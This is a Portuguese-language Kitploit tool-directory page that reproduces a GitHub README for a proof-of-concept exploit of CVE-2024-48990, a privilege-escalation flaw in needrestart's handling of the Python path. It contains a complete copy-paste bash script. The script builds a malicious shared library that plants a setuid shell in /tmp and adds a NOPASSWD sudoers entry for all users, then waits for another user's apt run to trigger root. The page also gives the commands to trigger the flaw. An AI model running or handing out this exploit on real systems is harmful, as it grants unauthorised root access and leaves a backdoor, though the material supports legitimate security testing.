Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-48990-PoC-Testing — Testing POC for use cases | Kitploit
Ferramentas/GitHubGitHub/pentestfunctions/cve-2024-48990-poc-testing
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubpentestfunctions/cve-2024-48990-poc-testing

CVE-2024-48990-PoC-Testing

Testing POC for use cases

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
261há 1 anoRevisado pelo Kitploit

CVE-2024-48990-PoC-Testing 🐍🔓

Este repositório contém uma Prova de Conceito (PoC) para demonstrar uma vulnerabilidade no programa needrestart, que não define corretamente o caminho do Python, levando a uma potencial escalada de privilégios. A PoC destaca um possível caminho para obter privilégios elevados explorando essa falha.

⚠️ Visão Geral da Vulnerabilidade

A vulnerabilidade CVE-2024-48990 reside no pacote needrestart. Especificamente, ele não define corretamente o caminho do Python, o que pode ser explorado para escalar privilégios quando acionado por certas ações.

Esta PoC simula um cenário onde uma biblioteca compartilhada maliciosa é carregada via Python para manipular configurações do sistema e obter privilégios elevados. Utilize-a apenas em um ambiente controlado e seguro para fins de teste.

Para verificar se você está vulnerável, execute:

root@kitploit:~
needrestart --version | grep -q "3.7" && echo "Definitely vulnerable" || echo "Version is potentially not vulnerable, this simply checks for 3.7"

Se quiser uma versão vulnerável para testar, execute:

root@kitploit:~
sudo apt install needrestart=3.7-3

⚡ Como Acionar a Vulnerabilidade

Para acionar a vulnerabilidade, execute o seguinte enquanto o script de escuta estiver em execução:

root@kitploit:~
sudo apt remove ntp; sudo apt install ntp

Este comando instala um pacote (ntp neste caso) que faz com que o problema com needrestart seja acionado; no entanto, o ideal é esperar que outro usuário no sistema execute uma atualização ou algo que acione o needrestart, como sudo apt update.



🔨 Passos para Reproduzir

Execute o seguinte script para configurar a PoC e acionar a vulnerabilidade. Você pode copiá-lo e colá-lo diretamente (o script inteiro como está) no terminal e esperar, ou acioná-lo manualmente como mostrado acima com o ntp. Ele também adiciona o binário ao caminho do sudo para todos os usuários para fins de demonstração – realisticamente, você pode apenas fazer com que ele adicione todos os caminhos do sudo para o seu usuário, mas quis mostrar ambos:

root@kitploit:~
#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib

# Create and compile the malicious library
cat << 'EOF' > /tmp/malicious/lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

static void a() __attribute__((constructor));

void a() {
    if(geteuid() == 0) {  // Only execute if we're running with root privileges
        setuid(0);
        setgid(0);
        const char *shell = "cp /bin/sh /tmp/poc; "
                            "chmod u+s /tmp/poc; "
                            "grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
                            "echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
        system(shell);
    }
}
EOF

gcc -shared -fPIC -o "/tmp/malicious/importlib/__init__.so" /tmp/malicious/lib.c

# Minimal Python script to trigger import
cat << 'EOF' > /tmp/malicious/e.py
import time
while True:
    try:
        import importlib
    except:
        pass
    if __import__("os").path.exists("/tmp/poc"):
        print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
        __import__("os").system("sudo /tmp/poc -p")
        break
    time.sleep(1)
EOF

cd /tmp/malicious; clear;echo -e "\n\nWaiting for norestart execution...\nEnsure you remove yourself from sudoers on the poc file after\nsudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers\nAs well as remove excess files created:\nrm -rf malicious/ poc"; PYTHONPATH="$PWD" python3 e.py 2>/dev/null

💥 Script de Limpeza

Se quiser limpar os arquivos de teste e remover-se do sudoers, execute o seguinte a partir de um prompt elevado:

root@kitploit:~
sudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers
rm -rf malicious/ poc; ls

🛠️ Requisitos

  • Sistema baseado em Linux (Ubuntu/Debian recomendado)
  • Pacote needrestart instalado (ou removido e reinstalado para acionar)
  • Python 3.x instalado (para executar o script Python)

🚨 Aviso

Esta PoC é apenas para fins de teste e não deve ser usada em ambiente de produção. Explorar esta vulnerabilidade em ambientes não autorizados pode ser ilegal. Sempre obtenha permissão explícita antes de realizar qualquer teste de segurança.


🔗 Recursos

  • Repositório GitHub: CVE-2024-48990-PoC
  • Detalhes do CVE: CVE-2024-48990

Bons testes! 🧪🚀

Baixar ferramenta